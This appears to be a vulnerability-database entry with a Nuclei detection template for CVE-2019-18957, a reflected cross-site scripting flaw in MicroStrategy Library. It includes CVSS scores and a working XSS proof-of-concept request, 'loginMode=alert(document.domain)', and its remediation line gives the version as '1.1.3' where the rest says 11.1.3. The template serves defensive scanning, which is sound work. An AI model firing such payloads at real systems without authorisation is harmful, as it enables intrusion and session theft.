4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.004 Low
EPSS
Percentile
72.9%
MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2019-18957
info:
name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
author: tess
severity: medium
description: |
MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
reference:
- https://seclists.org/bugtraq/2019/Nov/23
- https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-18957
- http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
- http://seclists.org/fulldisclosure/2019/Nov/4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-18957
cwe-id: CWE-79
epss-score: 0.00375
epss-percentile: 0.72231
cpe: cpe:2.3:a:microstrategy:microstrategy_library:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microstrategy
product: microstrategy_library
tags: cve,cve2019,microstrategy,packetstorm,xss,seclists
http:
- method: GET
path:
- "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "previousLoginMode: alert(document.domain),"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022048cbc684424ad08cac660728cb7c8e3f5215e29ba815fdc4eff0d7eb372e3266022100e2f803accc5ac089bc651bc89b81d8b0c4e1411fdb6cd1adc5ec2e4479667cd8:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.004 Low
EPSS
Percentile
72.9%